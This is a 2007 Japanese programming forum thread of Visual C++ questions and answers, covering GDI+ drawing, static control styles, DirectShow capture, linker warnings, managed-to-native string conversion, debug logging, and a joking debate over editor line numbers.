VCとは相性が悪かったと思って別の言語に移った方がいい。
VC(というか、C/C++)は結構面倒だ。

Visual Studio でのデバッグ
http://msdn2.microsoft.com/ja-jp/library/sc65sadd(VS.80).aspx

C# なんかメモリなんかあんまり考えなくて済むから割とオススメだぞ。
737デフォルトの名無しさん:2007/03/10(土) 20:39:09
実は付近のメモリ破壊していて
そのとばっちりを受けている場合は直すの大変だよね。
まず原因を探すのが大変。
738デフォルトの名無しさん:2007/03/10(土) 20:41:04
>>736
C#使いたいんですがXtraがC++しか対応してないんですよ。orz
739658:2007/03/10(土) 20:49:45
あと、デバッガ使えるなら使ってるんですよ。
いかんせん組み上げてあとは動くかどうか神頼みみないな検証しかできないので困ってます。orz
740デフォルトの名無しさん:2007/03/10(土) 20:57:54
> いかんせん組み上げてあとは動くかどうか神頼みみないな検証しかできないので困ってます。orz 
良く解らんけど、何故に VC のデバッガが利用できない?
プラグインとして動作するしかないからか?

もしそれならデバッガのアタッチ機能を使え。プロセスに侵入するんだ。
(とはいえ、Mcromedia製の云々っぽいからデバッガに関連する何かはありそうだが…)


それと、デバッガの機能としての
「特定のメモリアドレスにアクセスした場合にブレーク」
も併用するとよいと思うぞ。
741デフォルトの名無しさん:2007/03/11(日) 02:19:13
createで作ったStatic Controに画像(jpg)を表示する処理を入れたのですが、
ソース上では先にcreateしているのに、
実行時には「画像描画」→「createしたStatic Controlの表示」の順になっているためか、
画像の上にstaticがでてしまいます。
どうにかならないでしょうか・・・よろしくお願いします。
742デフォルトの名無しさん:2007/03/11(日) 08:31:18
Staticつかう意味があるんだろうか?
743741:2007/03/11(日) 08:53:50
>>742
当方、Staticじゃないと表示させられないという認識でおりました。
他のコントロールでも表示できるのであればそちらでよいと思ってます・・・
744デフォルトの名無しさん:2007/03/11(日) 09:24:02
staticが表示するのと別のものを自分で表示するんだったら
static使う意味がないんじゃないかということ
745743:2007/03/11(日) 09:43:50
>>744
説明がちょっとわかりづらくなっていました。すみません・・・

Static Controlの枠の上にjpgを乗せるということをやりたかったんですが、
どういうわけか画像がStatic Controlの下に隠れてしまうんです。。。

Static Controlの属性が悪いのかなあ・・・
746デフォルトの名無しさん:2007/03/11(日) 11:21:22
Static Controlのウィンドウスタイルだろ
オレもSTATIC並べて枠と座標だけ利用することはたまにやる
747743:2007/03/11(日) 11:26:02
>>746
回答ありがとうございます。
そのときのStatic Controlのウィンドウスタイルは
どのようになっていますでしょうか?
私は
SS_BITMAP | SS_WHITERECT | WS_BORDER | WS_VISIBLE
でやっているのですが、なにか足りないものがあるでしょうか・・・
よろしくお願いします。
748デフォルトの名無しさん:2007/03/11(日) 12:14:23
ビットマップも表示するんだ
749デフォルトの名無しさん:2007/03/11(日) 12:17:05
SS_BITMAPは自分で中も描いちゃうから消えるだろ
750743:2007/03/11(日) 12:48:39
>>748-749
SS_BITMAPを消してみましたがまだ駄目みたいです・・・
泣きそう・・・
751デフォルトの名無しさん:2007/03/11(日) 13:07:36
SS_WHITERECT も中を描画するだろw
枠だけとかあるだろ
752743:2007/03/11(日) 14:00:30
>>751
SS_WHITERECTを消して、
SetBkModeでTRASPARENTにしてみても変わらないです。。。
753デフォルトの名無しさん:2007/03/11(日) 14:07:00
SS_WHITEFRAMEとかSS_BLACKFRAMEとかあるだろう
754743:2007/03/11(日) 14:18:25
>>753
GODと呼ばせてください・・・ できました・・・
今日中に作成しないといけないものだったので、
昨日から胃が痛くてしょうがない状態でした。
ありがとう、本当にありがとうございました!
755デフォルトの名無しさん:2007/03/13(火) 18:36:23
「胃が痛くてしょうがない状態」
あああ…。悲しいなそれは。
756デフォルトの名無しさん:2007/03/15(木) 15:56:25
質問があります。

MS VC++.NET 2003 なのですが、以下のソースで三角を描画しました。

Pen * pen = new Pen(Color::Black);
Point poly[] = { p1, p2, p3 };
g->DrawPolygon(pen, poly);

これは成功しました。
今度はこれを塗りつぶしたいのですが、どうすれば良いのでしょうか?
ここでのBrushの使い方がいまいち分かりません。
よろしくお願いします。
757デフォルトの名無しさん:2007/03/15(木) 16:18:34
FillPolygon
758デフォルトの名無しさん:2007/03/15(木) 16:20:18
中を塗り潰すのはFill〜と命名されている。
FillPolygonはDrawでPenを引数に取っていた代わりにBrushを引数に取る。
単色に塗り潰すブラシはBrushの派生の1つSolidBrush、ほかにも何種類かブラシがある。
だから結局こうなる。
Brush* brush = new Brush(Color::Black);
Point poly[] = {p1, p2, p3};
g->FillPolygon(brush, poly);
759デフォルトの名無しさん:2007/03/15(木) 17:03:50
w= *((ULONG *)( &iv->rbuf[iv->rbufq] ));

既設のvc++のソースを調査しています。
上記、処理の実行結果(w)には何が設定されるかわかりません。
*((ULONG *) ってどういう意味ですか?
ご存知の方、ご教授願います。
760デフォルトの名無しさん:2007/03/15(木) 17:05:36
unsigned long のポインタにキャストして、そのアドレスが指してる値を取り出してる
761デフォルトの名無しさん:2007/03/15(木) 17:09:22
>>760 ご教授に感謝
762デフォルトの名無しさん:2007/03/15(木) 19:05:02
テキストファイルのダンプ(16進)を表示したい。VC++のツールにありますか?
・メモ帳でunicode形式で保存したファイルを CStdioFile::ReadString()した時
 意図しない動作をするので unicode形式のファイルの中身をコードで確認したい

Visual C++ standard editionです。
ヘルプで検索するとデバッグ時のメモリダンプばかりヒットしてしまいます。
よろしくお願いします。
763デフォルトの名無しさん:2007/03/15(木) 19:08:56
vectorあたりでバイナリファイルエディタ探すのが早いんじゃ
764デフォルトの名無しさん:2007/03/15(木) 19:13:42
>>762
どのバージョンかわからんのであれだが、
ファイルメニュー - 開く - ファイル で出たダイアログで
ファイルを選択し、開くボタンの右の矢印を押して
ファイルを開くアプリケーションの選択からバイナリエディタを選べばいける

バージョンによって開き方が違うかも
765デフォルトの名無しさん:2007/03/15(木) 19:23:39
>>764
VC++2005 でバイナリエディタ開けました! ありがとうございます。

>>763
レス d。
766658:2007/03/21(水) 14:10:17
向こうでも書きましたが、動きますた。
ご迷惑をおかけしました。

迷惑ついでにもうひとつ質問が。
コンパイル時にLNK 4006のwarningが大量発生するのです。
strmbase.lib(strmiids.obj) : warning LNK4006: _IID_IRegFilterInfo は wcamregister.obj で定義されています; 2 つ目以降の定義は無視されます
strmbase.lib(strmiids.obj) : warning LNK4006: _IID_IFilterInfo は wcamregister.obj で定義されています; 2 つ目以降の定義は無視されます
strmbase.lib(strmiids.obj) : warning LNK4006: _CLSID_FilgraphManager は wcamregister.obj で定義されています; 2 つ目以降の定義は無視されます
strmbase.lib(strmiids.obj) : warning LNK4006: _IID_IQueueCommand は wcamregister.obj で定義されています; 2 つ目以降の定義は無視されます
strmbase.lib(strmiids.obj) : warning LNK4006: _IID_IDeferredCommand は wcamregister.obj で定義されています; 2 つ目以降の定義は無視されます
といった感じのが1000近く出ます。
動くので問題はないんですが、コンパイル時にウザいので解決したいなーと思った次第です。
どなたか解決方法をご存知の方はいらっしゃいますでしょうか?
767デフォルトの名無しさん:2007/03/21(水) 14:53:35
#pragma warning(disable: 4006)
768デフォルトの名無しさん:2007/03/21(水) 14:58:28
リンクのワーニングにそれ使えるの?

>>766
リンク指定してるライブラリを調べてみて。重複してないか?
769658:2007/03/21(水) 15:09:23
>>767
効かないようです。

>>768
winmm.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib
shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib strmbasd.lib
以上がリンクしているライブラリですね。
770658:2007/03/21(水) 15:26:06
ついでに書くと、strmbasd.libとstrmbase.libをプロジェクトのディレクトリにコピーして使ってます。
それがまずいんでしょうか?
771658:2007/03/21(水) 15:45:25
strmbase.libがResource Filesに入っていたので外しました。
数が700くらいまで減りましたがまだ大量に発生中です。

http://www.users.gr.jp/blogs/hidori/archive/2005/02/14/8990.aspx
これズバリだと思ってこのとおりに試してもダメでした。
リンク先のmsdnサイトのやり方も試してみましたがダメです。orz.......
772デフォルトの名無しさん:2007/03/21(水) 16:34:06
>>769
それはデフォルトライブラリの使用をありにしたうえで別に指定しているのか?
773658:2007/03/21(水) 16:43:51
>>772
今出先なんで確認できないんですが、多分デフォルトありにしてます。
帰ったら早速調べてみます。
774デフォルトの名無しさん:2007/03/21(水) 17:02:25
>> 658
> 向こうでも書きましたが、動きますた
原因と問題解決方法と書いておけ。
将来的に同じような所で躓くヤツも居るだろう。
775658:2007/03/21(水) 18:13:52
>>772
「デフォルトライブラリをすべて無視」にチェック入れても同じ状態(というかリンクエラーが追加される)ですた。

>>774
原因:DVSD形式でデータが流れてくるためDIB形式に変換しようとしたら失敗する。
対処:
AM_MEDIA_TYPE amt;
ZeroMemory(&amt, sizeof(AM_MEDIA_TYPE));
amt.majortype = MEDIATYPE_Video;
amt.subtype = MEDIASUBTYPE_RGB24;
amt.formattype = FORMAT_VideoInfo;
pGrab -> SetMediaType( &amt );
といった感じで一度RGB24形式に指定してあげた後
pGrab -> GetConnectedMediaType( &amt );
で再度取得する。
というかリンク先のソースをコピペでも動くます。
ttp://wwwdoi.elec.nara-k.ac.jp/html/jisyu/dxm/cap2/index.html

CopyMemoryで落ちるとか、ヘッダに書くと動かないってのは謎のままです。orz
776デフォルトの名無しさん:2007/03/21(水) 18:43:00
まとめ
拾って来たソース適当にコピペしたら動きました。
でもワーニング出まくりです。
777デフォルトの名無しさん:2007/03/21(水) 18:52:44
たしか、#defineの具合によって、UUIDが実体化されることがあったはず。
だから、どこでも#defineせずにlibを含めるか、どこか1つの翻訳単位で
実体化させて、UUIDの含まれたlibはリンクしないか、どちから。
778658:2007/03/21(水) 20:27:07
>>776
まあそれで正解です。w

>>777
ちょっと時間ないんで明日にでも試してみます。
777オメ。
779デフォルトの名無しさん:2007/03/24(土) 12:59:05
VC++6.0のMFCでJpegを表示させたいのだがやり方が全然わからない。
CBitmapでは拡張子.jpgのファイルは開けないのでしょうか?
780デフォルトの名無しさん:2007/03/24(土) 13:17:52
jpeg のライブラリ使えばいいよ
781デフォルトの名無しさん:2007/03/24(土) 13:20:13
OleLoadPicture系から好きなのをどうぞ。
サンプルはググればいくらでもある。
782779:2007/03/24(土) 21:33:45
>>780-781
お前ら3日も書き込みのなかったスレで即レスしすぎだぜ。
でもサンキュー。
OleLoadPictureで出来そうなので試してくる。
783デフォルトの名無しさん:2007/03/25(日) 02:13:51
デバッグ時にのみ有効な、ファイルにログを出力する
簡単な関数orマクロはありませんか?
OutputDebugStringのファイル出力版みたいなもので。
784デフォルトの名無しさん:2007/03/25(日) 02:31:45
>>783
そういえばVCには独自のデバッグ用の便利な関数があったなぁ。詳細は覚えてないけど。

OutputDebugString を undef した後で
#define OutputDebugString(X) fprintf(stderr, "%s\n", X)
とかやってプログラムを実行するときに hoge.exe 2>debug.log とかってしちゃえば?
785デフォルトの名無しさん:2007/03/25(日) 02:34:33
_CrtSetReportFile

と関連する関数・マクロを利用する方法はあるけど、
自作しても良い気がする。

ちなみに、OutputDebugString はりリース時でも有効だぞ。
786783:2007/03/25(日) 02:47:12
_RPTマクロ(内部で_CrtDbgReportを利用)を使ってみたいと思います。
回答してくださった方々、どうもありがとうございます。

ほんとだ、リリース時でもOutputDebugStringは有効だ…。
787デフォルトの名無しさん:2007/03/25(日) 10:15:38
やりたいことは、「オープンファイルダイアログでOKボタンを押すと、Form1内の
c_printfunc()にファイル名を渡して、c_printfunc()の中でファイル名を出力する」です。
c_printfunc()はCまたはC++形式で記述したいです。

ファイル名の型は、Form1.h内(VC++側)ではString^、c_printfunc.cpp内(C側)では
wchar_t*なので、キャストしてある(つもりです)。

ビルドは正常終了するのですが、実行してオープンファイルダイアログのOKボタン
を押しても何も出力されません。

どうすればファイル名を出力することができますか?よろしくお願いします。

-----Form1.h-----
void c_printfunc(const wchar_t*){}

private: System::Void openFileDialog1_FileOk(System::Object^ sender,
 System::ComponentModel::CancelEventArgs^ e) {
 String^ fname;
 fname = openFileDialog1->FileName;
 pin_ptr<const wchar_t> wch = PtrToStringChars(fname);
 c_printfunc(wch);
}
-----c_printfunc.cpp-----
#include "stdafx.h"
void c_printfunc(const wchar_t* str) {
 printf("%s\n", str);
}
-----環境-----
Windows2000
VisualC++2005ExpressEdition
788デフォルトの名無しさん:2007/03/25(日) 11:05:36
>>787
これってコンソールアプリなの?
789デフォルトの名無しさん:2007/03/25(日) 11:25:52
>>787
× printf("%s\n", str);
○ printf("%S\n", str);
○ wprintf(L"%s\n", str);
○ _tprintf(_T("%ls\n"), str); // 推奨
790デフォルトの名無しさん:2007/03/25(日) 11:29:38
>>788
Windowsフォームアプリケーションで作成しています。

作りたいもののイメージとしては、得点を集計するアプリケーションで、得点ファイル
(テキストファイル)を読み込み、集計してフォーム(データグリッド)に出力したり、
ファイルに出力することを考えています。

集計ファイルの読込・集計・出力部分はC言語で既に作成してあり、今回はGUI部分を
VC++で作ろうとして手を出した所すでにつまずいている状態です。

VC++とC言語の連携部分がさっぱりわかりません。
どうやれば既存のC言語のソースをVC++に組み込めるのか、そもそもmain関数はどこから
呼ばれるのか、>>787のようなprintfの出力はどこに出力されるのかも謎です。

Webでも調べたのですが、VC++に既存のC言語を組み込むようなことは見つからず
「なんかまったく見当違いの事をしているのでは」と困っています。

今真っ暗闇です。ヒントでもいいので御助言お願いします・・。
791デフォルトの名無しさん:2007/03/25(日) 11:38:47
printfは標準出力へ書き込む
普通はコマンドプロンプト
792デフォルトの名無しさん:2007/03/25(日) 11:40:30
普通とは違うやりかただからコメントできない
793デフォルトの名無しさん:2007/03/25(日) 11:44:00
どうやればもなにも、既存のC言語をそのままVCにもってくればいいし
まさかVCはC++しか使えないとか思ってんのか?
794デフォルトの名無しさん:2007/03/25(日) 12:04:13
>>790
コンソールがないからprintfなどは表示されないよ。
確認したいだけならデバッガで見ればいい。

表示しなければいけないならエディットコントロールとかだな。
たぶん。.NET使ってないからよくわからんけど。
795デフォルトの名無しさん:2007/03/25(日) 12:07:26
MFCを使っているんですが、
イベントなどをプロパティウィンドウなどから追加したときの
「TODO:〜」という勝手に追加されるのコメント行が文字化けしています。
(本来なら「ここに〜を追加します」とかいうのが書かれているのだと思います)
最初にプロジェクトを作った際に生成される雛形のソースでは
特に文字化けしていませんし、当然自分で打ち込んだ日本語も文字化けはしません。

どこか設定でも悪いのでしょうか?
796デフォルトの名無しさん:2007/03/25(日) 12:16:21
エスパーをお探しなら他へどうぞと言いたいが
文字化けの原因なんて文字コードの相違以外ねぇし

その文字化けするヤツは
どういう環境でファイルが作られて、どういう環境で表示してんだよ
797デフォルトの名無しさん:2007/03/25(日) 12:40:26
GUIからprintfはできないことはないけど
それ自体が目的じゃなかったら普通は使わない。
798デフォルトの名無しさん:2007/03/25(日) 13:14:58
>>796

>どういう環境でファイルが作られて、どういう環境で表示してんだよ

>>MFCを使っているんですが、 イベントなどをプロパティウィンドウなどから追加したときの

>どういう環境でファイルが作られて、どういう環境で表示してんだよ

MFC使ってVCスレで質問してるのに、どういう環境があるってんだ?
特別な環境なら書くっての。当たり前の事を聞かなきゃわかんねーか?糞馬鹿が。
文字コードの問題だなんてのは分かりきったことだが
それをどうすれば直せるのか?という質問だ。バカかよおまえ。
わからねぇなら黙ってろよ。
799デフォルトの名無しさん:2007/03/25(日) 13:25:56
一口にVCのMFCと言ってもVC++ 1/MFC 2 - VC++ 2005/MFC 8まであるし、
それをインストールするWindowsも様々なバージョンやエディション、言語の違いがあるし。
800デフォルトの名無しさん:2007/03/25(日) 13:34:50
>>790
作りたいもののイメージの部分を見る限りprintfは必要無いように見えるんだけど。
単にデバッグ時に内容を確認したいだけなら
System::Diagnostics::Trace::WriteLine(openFileDialog1->FileName) ;
でVCの出力ウィンドウに表示される。
フォームに表示するならフォーム上にラベルでも貼り付けて、そこに表示すれば良い。
普通はフォームアプリではprintf系の命令は使わない。
801デフォルトの名無しさん:2007/03/25(日) 13:39:13
設定場所などがあるならその程度の環境の違いは読み替え可能な範囲だ。
Win2000つかってようがXPつかってようが
VC6つかってようがVS2005つかってようが。
シラネーことをとぼけるために口実作るな。
シラネーなら最初から黙ってろ。
802デフォルトの名無しさん:2007/03/25(日) 13:43:08
うわぁ、ここの回答者ってすげー回答能力低いのな・・・
聞く場所間違ってた。790程度の質問にも端的に答えられねぇで
グズグズグズグズ回りくどい教え方してんのな・・・
アホなのか嫌がらせのつもりなのか・・・
803787:2007/03/25(日) 13:57:45
みなさまレスありがとうございます、しかし疑問が解決してません・・orz
>>787で質問しました、fnameの型をStringからchar*に変換するところです。

char*にさえ変換(その逆も)さえ出来ればc_printfunc()内でfopenや、malloc等を
使ってC言語ライクに記述できると思ったのですが、あまりこういうことは
やらないのでしょうか?
開発の経験もないので、スタンダードなやり方ありましたら教えて欲しいです。
804デフォルトの名無しさん:2007/03/25(日) 14:03:13
>>798,801,802
だから最初から文字コードの違いしかないと言われてるじゃないかw
逐一口調まで変えて煽りとはご苦労なこった

>>803
Win32APIにワイド文字とマルチバイト文字を相互変換するのがあるよ
805デフォルトの名無しさん:2007/03/25(日) 14:04:43
>>803
俺だったら
C言語ライクにするならCLIとかmanagedじゃないものにして
設定がunocodeになっているところを変える。
だって文字列を使うたびにunicodeとshift-jis変換しなきゃならないなんて大変でしょ。

unicode用のc_printfunc作ったほうがよくない?
806名無しさん@お腹いっぱい。:2007/03/25(日) 14:07:45
>だから最初から文字コードの違いしかないと言われてるじゃないかw

だからどこでどうやってそれを直すのかという質問してんだろうがクズ。
Winのコンパネで直すのかIDEの設定で直るのか。
そしてさっき言ったようにこの程度のことなら読み替え可能。
知ってるならさっさと教えろ禿げ。
シラネーなら質問の仕方のせいにしないで黙ってろ。
807デフォルトの名無しさん:2007/03/25(日) 14:08:47
おいおい、バージョンも言わないで設定個所を訊くのか?w
808名無しさん@お腹いっぱい。:2007/03/25(日) 14:10:42
だからその程度のことなら環境によらず読み替え可能だっていってんだろクズ。
シラネーならシラネーって素直に言えよ、うすら禿げ。
809デフォルトの名無しさん:2007/03/25(日) 14:12:51
>>1読めんで出直しておいでw
810名無しさん@お腹いっぱい。:2007/03/25(日) 14:15:06
書く必要のある質問なら書く。必要が無いなら書かない。それだけ。
知ってる人が答えてくれればいい。それだけ。
回答能力ないなら黙ってろ。
>>1のテンプレなんかに何の権威を感じてんの?ばかじゃね?
811デフォルトの名無しさん:2007/03/25(日) 14:15:11
シラネー

再インストールしてみれば直るんじゃない?
812デフォルトの名無しさん:2007/03/25(日) 14:16:28
>>810
じゃあ黙ってるわw
813名無しさん@お腹いっぱい。:2007/03/25(日) 14:17:00
>>811
そうですか。
他に心当たりのある人教えてください。
814名無しさん@お腹いっぱい。:2007/03/25(日) 14:17:33
>>812
はい、知らないなら口出ししないで下さい。邪魔ですから。
815デフォルトの名無しさん:2007/03/25(日) 14:18:47
>>803
Marshal::StringToHGlobalAnsiで出来るけど char *じゃなくwchar_tじゃなかったの?
その場合StringToHGlobalAutoとかStringToHGlobalUniも参照。
使い終わったら開放も必要。

C++/CLIからC呼び出しは可能だけど馴染めないならPlatform SDKを入れて
ネイティブでGUIを組む手もある。
816デフォルトの名無しさん:2007/03/25(日) 14:22:06
>>803
というか、CLI使うんだったらCの資産があるからと言わず
全てCLI用に組替えた方が後々いいと思う
そうじゃないなら逆にCLI使わないほうがいいと思うよ
817658:2007/03/25(日) 18:36:44
>>777
具体的なサンプルとかあったら教えていただけないでしょうか。
よく意味が分かっていません。orz......
818デフォルトの名無しさん:2007/03/26(月) 00:30:27
何で文字化けしてるという質問者っていつもいつもいつも、どう化けたのか
実際のも文字列貼り付けないやつばかりなんだろ。
コピペすりゃ一発でわかるのに。
819デフォルトの名無しさん:2007/03/26(月) 05:05:59
計算させるプログラムで、

例えば[500]-[400]の計算をした場合、[500]に[956]を、[400]に[354]を
勝手に代入して計算してくれるものを作りたいんだけど、どうしたら
いい?
仕事で液面計の点検時、「今日の数値 - 前日の数値」を計算して
液体アルゴンの使用量を書く項目があるんだけど、このアルゴンの
数値に「2100の場合は2435、2200の場合は2110、2300の場合は...」
と所定の数字を代入して計算するんだ。
いつもは代入表を見て計算するんだけど、PCに元の数字を入力
するだけで勝手に計算してくれるプログラムが作れんかなぁと。
820デフォルトの名無しさん:2007/03/26(月) 06:02:05
821デフォルトの名無しさん:2007/03/26(月) 07:25:58
化学系出身なんでレスしてみるけど、それをあえてVCで書く意味ってある?
Excel のマクロとか使った方がはるかに簡単に実現できると思う。
それでもVCで書くというなら、int型の配列にその変換テーブル入れて
処理すればあっという間に。
822デフォルトの名無しさん:2007/03/26(月) 07:49:05
.NET使って元の数値をキーにコレクションで作った方が検索が楽だ
823デフォルトの名無しさん:2007/03/26(月) 11:12:38
ビルドは成功して、実行したところ↓が大量に出力されたんですけど、これ何なんですかね・・?
どうやったら消せるんでしょ??

'test.exe': 'F:\WINNT\system32\NTDLL.DLL' を読み込みました。必要な DBG ファイルが見つからないか、開けません。
'test.exe': 'F:\WINNT\system32\USER32.DLL' を読み込みました。必要な DBG ファイルが見つからないか、開けません。
'test.exe': 'F:\WINNT\system32\GDI32.DLL' を読み込みました。必要な DBG ファイルが見つからないか、開けません。
'test.exe': 'F:\WINNT\system32\KERNEL32.DLL' を読み込みました。必要な DBG ファイルが見つからないか、開けません。
'test.exe': 'F:\WINNT\system32\msvcr80d.dll' を読み込みました。シンボルが読み込まれていません。
'test.exe': 'F:\WINNT\system32\msvcrt.dll' を読み込みました。シンボルが読み込まれていません。
'test.exe': 'F:\WINNT\system32\imm32.dll' を読み込みました。必要な DBG ファイルが見つからないか、開けません。
'test.exe': 'F:\WINNT\system32\ADVAPI32.DLL' を読み込みました。必要な DBG ファイルが見つからないか、開けません。
'test.exe': 'F:\WINNT\system32\rpcrt4.dll' を読み込みました。必要な DBG ファイルが見つからないか、開けません。
'test.exe': 'F:\WINNT\system32\indicdll.dll' を読み込みました。必要な DBG ファイルが見つからないか、開けません。
'test.exe': 'F:\WINNT\system32\imejp.ime' を読み込みました。必要な DBG ファイルが見つからないか、開けません。
'test.exe': 'F:\WINNT\system32\SHELL32.DLL' を読み込みました。必要な DBG ファイルが見つからないか、開けません。
'test.exe': 'F:\WINNT\system32\SHLWAPI.DLL' を読み込みました。シンボルが読み込まれていません。
'test.exe': 'F:\WINNT\system32\comctl32.dll' を読み込みました。必要な DBG ファイルが見つからないか、開けません。
'test.exe': 'F:\WINNT\system32\imejpknl.dll' を読み込みました。シンボルが読み込まれていません。
824デフォルトの名無しさん:2007/03/26(月) 11:16:22
気にしない
825デフォルトの名無しさん:2007/03/26(月) 12:42:30
みんな出てるよ。気にしないことだ。
シンボルファイルをインストールしてもいいけど、、、
826デフォルトの名無しさん:2007/03/26(月) 13:32:59
ありがと気にしないことにしました
827デフォルトの名無しさん:2007/03/27(火) 09:08:17
>>823
俺も出るなぁ…。
気にしないって意見が多いけど俺は気になるw

特に、ビルドしてから実行されるまでにこれが大量に出るものだから
起動するまで時間がかかり、すごくイライラする。
ビルダとかほかのやつならすぐ確認できることがドトネトだとできない。
どうにもならんのでしょうかね。
828デフォルトの名無しさん:2007/03/27(火) 09:54:24
必要な DBG ファイルを用意してやればメッセージは出なくなるだろうけど
それを読み込むのによけい時間かかるしメモリも消費するだろうな。
気にするほどの時間じゃないと思うけど、だったらメッセージを気にしなきゃいいだけだし
829デフォルトの名無しさん:2007/03/27(火) 09:55:48
ソースコードいじる画面に行番号出す方法ないですか?
830デフォルトの名無しさん:2007/03/27(火) 10:13:27
バージョンによる
831デフォルトの名無しさん:2007/03/27(火) 10:19:19
>>830
昨日ダウンロードしたVC++2005ExpressEditionです・・
バージョン8
832デフォルトの名無しさん:2007/03/27(火) 10:23:00
>>831
Expressはもって無いけど上位エディションなら
オプション > テキストエディタ > C/C++ > 全般
にある行番号をチェック
833デフォルトの名無しさん:2007/03/27(火) 10:26:00
>>832
でてきましたありがとうございます
これ標準で表示してくればいいのに!
834デフォルトの名無しさん:2007/03/27(火) 10:29:28
>>833
普通、行番号に頼るようなプログラミングはしないから大抵の人には不要だが。
そもそも、確かフッターかどこかにカーソルのある行番号が表示されてた筈だからそれで充分だろ。
835デフォルトの名無しさん:2007/03/27(火) 10:43:06
もしかしてエラー行を見たいとかか
ファンクションキーで飛ぶから行番号気にしてないなあ
836デフォルトの名無しさん:2007/03/27(火) 10:58:40
フッターじゃなくてステータスバーって呼び方だったと思う
837デフォルトの名無しさん:2007/03/27(火) 10:59:49
編集したい箇所があって、そこにジャンプする際
適当な検索キーワードが思い浮かばず、ブックマークも
してない場合とか大体の行番号が分かってればCtrl+G
でジャンプできるし、広いディスプレイ使ってるなら
出しても良い気がする。
838デフォルトの名無しさん:2007/03/27(火) 11:29:54
行番号表示していれば、コードのどのあたりが何行目っていちいち覚えていられるの?
839デフォルトの名無しさん:2007/03/27(火) 11:35:02
普通覚えてないか?
どうせ分割するから1ソース200行程度だけど
「a.cppの50行目でxxの処理して、100行目でyyの処理」って感じ
あとは仕様変更とかで、
「a.cppの50〜100行目を、b.cppの150行目に移動」とか紙にメモしたり

ま、要らない奴は表示しなければいいんじゃないの?
840デフォルトの名無しさん:2007/03/27(火) 12:20:18
>>839
それはあくまでも、行番号依存型開発。
>「a.cppの50〜100行目を、b.cppの150行目に移動」とか紙にメモしたり
普通は、「a.cppの何の関数の何の処理をb.cppの何の関数のどこに移動」とメモすればいい。

まぁ、行番号依存型開発している連中の多くがdiffもpatchも使えないのは言うまでもないのだが。
841デフォルトの名無しさん:2007/03/27(火) 12:32:22
>>840
「何の関数」って覚えるといちいち探さなくちゃいけない
覚えにくい関数名だってあるし、サーチもままならない時だってある
行番号で覚えておけば一発で探せる

>まぁ、行番号依存型開発している連中の多くがdiffもpatchも使えないのは言うまでもないのだが。
行番号否依存型開発の間違いだよな?
842デフォルトの名無しさん:2007/03/27(火) 12:52:51
関数一覧はすぐ出るしそこにジャンプもできるけど
行番号一覧が出てもなあw
843デフォルトの名無しさん:2007/03/27(火) 12:56:16
行番号要らない派→VB出身
行番号要るよ派→C言語出身
844デフォルトの名無しさん:2007/03/27(火) 12:57:23
>>841
patchは行番号が変わってもちゃんと使えますが何か。
845デフォルトの名無しさん:2007/03/27(火) 12:58:32
>>844
なんでもないから帰っていいよ


行番号表示に一票!気分的に
846デフォルトの名無しさん:2007/03/27(火) 13:02:24
素朴に疑問なんだけど行番号表示しない奴って、他の人と意思疎通するときどうしてんの?
画面に人集めたり、ソース印刷して持ち寄ってレビューとかするとき、番号ないと辛くない?

「n行目要らないよね/間違ってるよね/何してるの?」とか言えないと、
お話にならないと思うんだけどw

それともaaaaaaa_bbbbbbbbbbbbbb_cccccccccccc関数の上から156行目って〜って言ってるの?
847デフォルトの名無しさん:2007/03/27(火) 13:05:05
マウス
848デフォルトの名無しさん:2007/03/27(火) 13:05:48
>>846
要らない言ってるのは複数人で開発したことないんだろ。
もしくはレビューとかバグ取りとか必要のない仕事
849デフォルトの名無しさん:2007/03/27(火) 13:07:15
伸びてると思ったらまたくだらない事を・・
んなもん出したければ出して出さないなら出さないでいいだろが
850デフォルトの名無しさん:2007/03/27(火) 13:09:30
>aaaaaaa_bbbbbbbbbbbbbb_cccccccccccc関数の上から156行目

俺ならそういう言い方されたら殴るなw
851デフォルトの名無しさん:2007/03/27(火) 13:14:29
当たり前だ、そんな糞みたいに長い関数名や糞みたいに長い関数なんか書かれたらな。
で、行番号なんてカーソル行のが見えれば充分じゃね?
レビューのときなんかは印刷するからそん時だけ行番号つきで出力すればいいわけだし。
#普段から行番号が画面を占有してなければいけない理由が判らん。
852デフォルトの名無しさん:2007/03/27(火) 13:18:52
掲示板やwebサイトで行番号書いて説明してるやつは見たことないな
853デフォルトの名無しさん:2007/03/27(火) 13:22:55
べーシックかなんか忘れたけど
行番号へgotoする言語があったと思う。
たぶんそっち系の人だろう
854デフォルトの名無しさん:2007/03/27(火) 13:26:24
>>852
結構あるぞ個人サイトだからURLは控えるけど
855デフォルトの名無しさん:2007/03/27(火) 13:27:26
>>851
画面占有つって1cmにも満たないだろw
どれだけ大きな行番号表示してるんだよw
856デフォルトの名無しさん:2007/03/27(火) 13:53:37
邪魔くさいだろ
右下に行桁が出てるだけで十分
857デフォルトの名無しさん:2007/03/27(火) 14:05:10
行番号って要るの?
要るよ派-+-常に出しておくよ派
      |      |
      |      +-BASICの頃からあるよ派(懐古派)
      |      +-Ctrl+Gは行番号判らないと使えないよ派(ジャンプ派)
      |      +-気分的に出すよ派
      |      +-画面拾いから余裕で出すよ派(金持ち派)
      |      +-普通仕事だと要るよ派(仕事派)
      |           |
      |           +-意思疎通には要るよ派
      |           +-レビューには要るよ派
      |
      +-レビューの印刷の時だけ出すよ派

要らないよ派-+-常に出さないよ派
         |   |
         |   +-VBでも出してなかった派(Microsoft派)
         |   +-画面狭いよ派(貧乏派)
         |   +-掲示板やWebサイトでも無い派(依存派)
         |   +-仕事じゃない派(日曜プログラマ派)
         |        |
         |        +-複数で開発しないよ派(日曜プログラマ派)
         |        +-集まってレビューしないよ派(日曜プログラマ派)
         |        +-バグ取らないよ派(チンピラSE派)
         |
         +-出さないけど替わりに示すものが要るよ派
              |
              +-マウスで指せばいいよ派(屁理屈派)
              +-指で画面を指せばいいよ(画面に指紋派)
              +-エラー行にはジャンプで飛ぶよ派
              +-右下に行桁が出てるだけで十分(邪魔派)
              +-aaaaaaa_bbbbbbbbbbbbbb_cccccccccccc関数の上から○行目言うよ派
858デフォルトの名無しさん:2007/03/27(火) 14:16:34
>>857がいるよ派だってことはわかった

プッダセー
859デフォルトの名無しさん:2007/03/27(火) 14:20:49
>>857
ワロスwww
860デフォルトの名無しさん:2007/03/27(火) 14:22:16
要らないよ派ってなんなの?
861デフォルトの名無しさん:2007/03/27(火) 14:28:56
862デフォルトの名無しさん:2007/03/27(火) 14:32:24
